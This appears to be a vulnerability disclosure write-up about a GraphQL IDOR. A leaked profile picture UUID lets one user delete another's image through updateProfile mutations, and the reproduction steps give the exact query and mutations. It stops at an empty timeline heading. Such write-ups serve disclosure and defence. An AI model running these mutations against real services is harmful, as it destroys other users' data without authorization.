graphql idor — profile picture deletion

this vuln stems from graphql exposing shared profile_picture_id fields without validating ownership. by manipulating that field via crafted mutations, an attacker could delete another user's profile picture.

resolvers returned deeply nested user metadata — including image urls with embedded ids. the backend accepted that id in updateProfile without checking if the caller owned the media object.

context: graphql & shared objects

graphql often returns big, nested data trees. in this case, getClassMembers leaked each member’s profilePictureUrl. parsing that gave access to raw profile_picture_id values — which were reused unsafely.

steps to reproduce

  1. create two accounts: user a (victim) & user b (attacker)
  2. user a creates a “class” and adds user b
  3. user b runs:
    query {
      classMembers(classId: "xyz") {
        id
        name
        profilePictureUrl
      }
    }
  4. extracted UUID from image URL:
    https://cdn.example.com/images/cb227e3c-.../avatar.png
  5. user b updates their own profile with victim's image id:
    mutation {
      updateProfile(input: {
        profile_picture_id: "cb227e3c-4bb3-42fc-8c29-b3030d6e86ab"
      }) {
        success
      }
    }
  6. finally, attacker deletes the image globally:
    mutation {
      updateProfile(input: {
        profile_picture_id: null
      }) {
        success
      }
    }

timeline